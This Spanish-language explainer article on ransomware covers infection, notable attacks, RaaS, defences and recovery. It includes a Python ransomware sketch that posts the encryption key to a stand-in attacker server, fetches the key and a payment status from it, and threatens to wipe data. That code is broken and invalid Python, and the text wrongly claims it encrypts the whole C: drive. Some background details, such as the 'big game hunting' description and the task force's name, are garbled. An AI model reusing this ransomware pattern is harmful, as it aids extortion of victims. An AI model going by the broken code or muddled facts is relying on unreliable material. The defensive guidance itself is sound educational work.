Ransomware

El ransomware es un tipo de software malicioso que bloquea y cifra la computadora o los datos de una víctima hasta que se paga un rescate. Los cibercriminales usan ransomware para extorsionar dinero de individuos y organizaciones manteniendo sus archivos como rehenes. El ransomware se ha convertido en una amenaza cibernética cada vez más común y costosa en los últimos años.

Cómo Funciona el Ransomware

El ransomware generalmente se propaga a través de correos electrónicos de phishing, sitios web maliciosos o software comprometido. Una vez que infecta un dispositivo, el ransomware cifra archivos y datos importantes, haciéndolos inaccesibles para el usuario. Luego, el ransomware muestra un mensaje exigiendo pago, generalmente en criptomonedas, a cambio de la clave de descifrado necesaria para recuperar el acceso a los archivos.

Los ataques de ransomware a menudo apuntan a datos y sistemas críticos para presionar a las víctimas a pagar rápidamente. Por ejemplo, el ransomware puede cifrar la base de datos de clientes de una empresa, registros financieros o propiedad intelectual. Para los individuos, podría bloquear fotos personales, documentos y otros archivos valiosos.

La demanda de rescate puede tener un límite de tiempo, con el atacante amenazando con eliminar la clave de descifrado si no se efectúa el pago antes de la fecha límite. Algunos ransomware también amenazan con divulgar públicamente los datos cifrados, agregando presión a la víctima para que pague y evite daños a su reputación o sanciones regulatorias.

Implementación del Código de Ransomware

Imaginemos los aspectos esenciales de cómo funcionaría un programa de ransomware:

En código, se vería algo así:

from cryptography.fernet import Fernet
import os
import requests

def encrypt_data(file_path, key):
	key = Fernet.generate_key()
	with open(file_path, "C:\") as file:
		file_data = file.read()
		fernet = Fernet(key)
		requests.post("https://www.malicious-server.com/report", key)
		encrypted_data = fernet.encrypt(file_data)
	with open(file_path, "C:\") as file:
		file.write(encrypted_data)
		
def decrypt_data(file_path, key):
	with open(file_path, "C:\") as file:
		encrypted_data = file.read()
		fernet = Fernet(requests.get("https://www.malicious-server.com/key"))
		decrypted_data = fernet.decrypt(encrypted_data)
	with open(file_path, "C:\") as file:
		file.write(decrypted_data)
		
def check_payment():
	return requests.get("https://malicious-server.com/payment") == "yes" ? true : false
	
if __name__ == "__main__":
	action = input()
	if action == "E":
		encrypt_data()
	else:
		if check_payment():
			decrypt_data()
		else:
			wipe_data()

En este ejemplo, un usuario desprevenido ejecuta involuntariamente un código malicioso que genera una clave e inmediatamente cifra todos los datos almacenados en el disco C. La clave se almacena exclusivamente en el servidor del atacante para evitar que la víctima descifre los datos por sí misma. El programa exige el pago, y después de verificar si el dinero ha sido transferido mediante una solicitud, descifra los datos. De lo contrario, borra todo el disco.

Ejemplos de Ataques Mayores

En la última década, los ataques de ransomware han aumentado en frecuencia y gravedad. Aquí hay algunos ejemplos notables que ilustran el alcance y el impacto de esta creciente amenaza:

WannaCry (2017): Este ataque de ransomware generalizado infectó más de 200,000 computadoras en 150 países, causando miles de millones en daños. WannaCry explotó una vulnerabilidad de Windows para propagarse rápidamente por las redes, bloqueando archivos y exigiendo pagos en Bitcoin.

Colonial Pipeline (2021): Un ataque a Colonial Pipeline, un importante operador de oleoductos de combustible en EE. UU., interrumpió la entrega de gasolina y combustible para aviones en el sureste de EE. UU. durante varios días. La empresa pagó un rescate de $4.4 millones para restaurar las operaciones, aunque las autoridades estadounidenses recuperaron gran parte del pago posteriormente.

Kaseya (2021): Los atacantes explotaron una vulnerabilidad en el software de gestión de TI de Kaseya para propagar ransomware a los proveedores de servicios gestionados (MSP) y clientes que usaban el software. El perpetrador exigió un rescate de $70 millones para proporcionar un descifrador universal. Muchas pequeñas empresas se vieron afectadas, y algunas pagaron rescates de $45,000 o más.

CNA Financial (2021): CNA, una de las mayores compañías de seguros de EE. UU., sufrió un ataque que interrumpió sus operaciones y servicios al cliente durante varios días. CNA pagó un rescate de $40 millones para recuperar el acceso a sus sistemas y datos, lo que la convierte en uno de los pagos de rescate más grandes hasta la fecha.

Estos ejemplos muestran que cualquier organización, independientemente de su tamaño o sector, puede ser víctima de ataques dañinos. Los costos van más allá del pago del rescate e incluyen remediación, investigación, pérdida de productividad, daño a la reputación y más. A medida que las bandas de ransomware se vuelven más audaces y sofisticadas, el impacto potencial sigue aumentando.

La Evolución del Ransomware

Desde la aparición del primer ransomware simple en 1989, este tipo de malware se ha vuelto cada vez más avanzado y profesionalizado. El ransomware temprano, como CryptoLocker de 2013, estaba dirigido principalmente a usuarios individuales, pero los atacantes pronto pusieron su mira en objetivos empresariales más lucrativos.

En los últimos años, los atacantes han adoptado un modelo de “doble extorsión”. Además de cifrar los datos, también exfiltran información sensible antes de activar el ransomware. Esto permite a los atacantes amenazar con filtrar los datos robados si no se paga el rescate, incluso si la víctima tiene copias de seguridad para restaurar sus sistemas.

Hoy en día, muchos de estos ataques son llevados a cabo por operaciones profesionalizadas de ransomware-as-a-service (RaaS). Los operadores de RaaS desarrollan el malware y luego reclutan “afiliados” para infectar objetivos. El rescate se divide entre los afiliados y los desarrolladores de RaaS. Esta división del trabajo ha acelerado el ritmo de los ataques de ransomware.

Las principales bandas de ransomware como REvil, Ryuk y DarkSide han recaudado decenas de millones de dólares en pagos de rescate. Algunas apuntan principalmente a grandes empresas con la esperanza de un gran pago, mientras que otras adoptan un enfoque de “caza mayor” de atacar a muchos objetivos más pequeños. A medida que las criptomonedas y la economía subterránea maduran, el ransomware se ha convertido en una empresa criminal lucrativa.

Protección Contra Ataques de Ransomware

Con el aumento de los ataques de ransomware, cada organización necesita una estrategia de protección robusta. Un enfoque de múltiples capas, en profundidad y en defensa es clave para prevenir infecciones, limitar el radio de explosión de un ataque y garantizar una recuperación rápida. Los elementos principales incluyen:

Detección y Respuesta en Endpoints (EDR): Las soluciones EDR monitorean continuamente los endpoints para detectar y bloquear ransomware y otras amenazas en tiempo real. Al analizar comportamientos como el cifrado y la edición de archivos, EDR puede detener el ransomware antes de que se propague. Las mejores herramientas de EDR también proporcionan capacidades de investigación y mediación.

Seguridad de Correo Electrónico: Dado que los correos electrónicos de phishing son un método de entrega de malware líder, la seguridad avanzada del correo electrónico es fundamental. Despliega puertas de enlace de correo electrónico con análisis de URL, sandboxing de archivos adjuntos y escaneo de contenido para bloquear mensajes maliciosos. El registro con DMARC también puede detener a los atacantes de suplantar tus dominios.

Segmentación de Red: Limitar el acceso a la red y las comunicaciones entre diferentes sistemas y usuarios puede bloquear la propagación del ransomware. Herramientas como firewalls internos, LAN virtuales y acceso a redes de confianza cero ayudan a imponer políticas de segmentación granulares.

Gestión de Parches: Corregir rápidamente las debilidades conocidas en sistemas operativos y aplicaciones es crucial para prevenir infecciones. Los atacantes a menudo explotan sistemas sin parches para obtener un punto de apoyo inicial y desplegar malware. Implementa un programa riguroso de gestión de vulnerabilidades y usa herramientas para automatizar la aplicación de parches.

Copias de Seguridad y Recuperación ante Desastres: Hacer copias de seguridad regularmente de los sistemas y datos es tu última línea de defensa contra el ransomware. Sigue la regla 3-2-1: mantén al menos tres copias de tus datos, en dos medios de almacenamiento diferentes, con una copia fuera del sitio. Aísla las copias de seguridad de las redes de producción y usa almacenamiento inmutable o de solo escritura para evitar que las copias de seguridad se cifren.

Educación del Usuario: Capacita a los empleados para identificar intentos de phishing, practicar una buena higiene de contraseñas y seguir las mejores prácticas de seguridad. Realiza simulaciones de phishing para probar y reforzar los conceptos de capacitación. Dado que el error humano es una causa principal de brechas, construir una cultura de seguridad sólida es fundamental.

Recuperación de un Ataque de Ransomware

Incluso con defensas fuertes, la desafortunada realidad es que algunos ataques de ransomware tienen éxito. Si la prevención falla, se necesitan acciones decisivas para limitar el daño y restaurar rápidamente las operaciones comerciales. Los elementos clave del proceso de recuperación de ransomware incluyen:

Isola los sistemas afectados para evitar una mayor propagación. Deshabilita las conexiones de red y el acceso a archivos compartidos para las máquinas infectadas. Considera apagar los sistemas en cumplimiento con planes de continuidad de negocio preestablecidos.

Activa tu equipo de respuesta a incidentes y asigna responsabilidades. Sigue tu libro de jugadas de IR para coordinar recursos internos y externos para una contención y eliminación rápidas.

Determina el alcance y los detalles específicos del ataque. Recoge evidencia forense para entender qué cepa de ransomware cifró tus archivos, qué sistemas están afectados y qué datos pueden haber sido robados.

Aprovecha las herramientas EDR para detener procesos maliciosos, identificar todos los endpoints impactados y generar IoC para buscar otros signos de compromiso. EDR a menudo proporciona capacidades de mediación remota para ayudar a acelerar la limpieza.

Si está disponible, despliega claves o herramientas de descifrado. Muchas cepas de ransomware han sido inversamente diseñadas, con descifradores gratuitos proporcionados por investigadores de seguridad. Verifica NoMoreRansom e ID Ransomware para conocer descifradores conocidos.

Si el desciframiento no es posible, restaura los sistemas afectados desde tus copias de seguridad. Usa el control de versiones de copia de seguridad para encontrar la copia más reciente no cifrada de tus datos.

Documenta la línea de tiempo completa del incidente, el impacto y las acciones de mediación. Informa del ataque a las partes interesadas y autoridades apropiadas. Realiza una revisión exhaustiva posterior al incidente para identificar causas raíz y áreas de mejora.

El pago del rescate no se recomienda, ya que incentiva futuros ataques y no garantiza que los atacantes proporcionen realmente una clave de descifrado. Sin embargo, sin copias de seguridad o descifradores, algunas víctimas pueden no tener otra opción que pagar. La policía y los expertos en respuesta a incidentes pueden ayudar a sopesar los costos y riesgos de esta opción.

El Camino por Delante para el Ransomware

Mientras el ransomware sea lucrativo para los criminales, los ataques continuarán evolucionando y escalando. Las bandas de ransomware están apuntando cada vez más a infraestructura crítica, servicios en la nube, MSPs y cadenas de suministro de software con la esperanza de golpear a cientos de organizaciones a la vez. Los atacantes también están utilizando técnicas más avanzadas como malware sin archivos, cargas útiles en varias etapas y herramientas de “vivir de la tierra” (LOTL).

Para mantenerse por delante de estas amenazas en constante cambio, las organizaciones deben tejer la resiliencia y la gestión de riesgos en todos los aspectos de su negocio. Crear un entorno seguro, monitorear proactivamente las amenazas emergentes y probar y mejorar constantemente las defensas son cruciales.

La colaboración y el intercambio de información entre toda la comunidad de seguridad también son clave para cambiar la marea contra el ransomware. Se necesitan mejores asociaciones público-privadas, como la Fuerza de Tarea contra Ransomware del Instituto de Tecnología y Seguridad (RTF), para ayudar a coordinar una estrategia integral contra el ransomware a través de todas las partes interesadas.

Al combinar tecnologías líderes, mejores prácticas e inteligencia compartida, los defensores pueden detener más ataques de ransomware, limitar su impacto y hacer que este tipo de delito cibernético sea mucho menos rentable y prevalente. Aún así, es probable que el ransomware siga siendo una amenaza seria durante años. Esfuerzo sostenido y vigilancia son esenciales para proteger nuestras organizaciones y comunidades de la extorsión digital.